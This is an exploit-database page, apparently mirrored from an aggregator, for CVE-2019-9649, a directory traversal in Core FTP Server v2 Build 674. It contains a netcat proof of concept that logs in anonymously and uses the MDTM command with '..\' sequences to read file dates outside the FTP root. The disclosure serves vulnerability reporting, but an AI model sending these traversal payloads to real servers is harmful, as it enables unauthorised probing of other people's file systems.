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"Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal"

Author

"Kevin Randall"

Platform

windows

Release date

2019-03-13

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2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal" dos windows "Kevin Randall"
2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal" dos windows "Kevin Randall"
2018-08-30 "DLink DIR-601 - Credential Disclosure" webapps hardware "Kevin Randall"
2018-04-02 "DLink DIR-601 - Admin Password Disclosure" webapps hardware "Kevin Randall"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46534/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46534/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46534/40981/core-ftp-server-ftp-sftp-server-v2-build-674-mdtm-directory-traversal/download/", "exploit_id": "46534", "exploit_description": "\"Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal\"", "exploit_date": "2019-03-13", "exploit_author": "\"Kevin Randall\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                                            

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# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  MDTM Directory Traversal
# Google Dork: N/A
# Date: 3/13/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9649

*Vendor has confirmed vulnerability and implemented an updated version*

Summary: Summary: By utilizing a directory traversal along with the FTP MDTM command, an attacker can browse outside the root directory to determine if a file exists based on return file size along with the date the file was last modified by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat

Proof of Concept (PoC):

File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM

#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20090713211412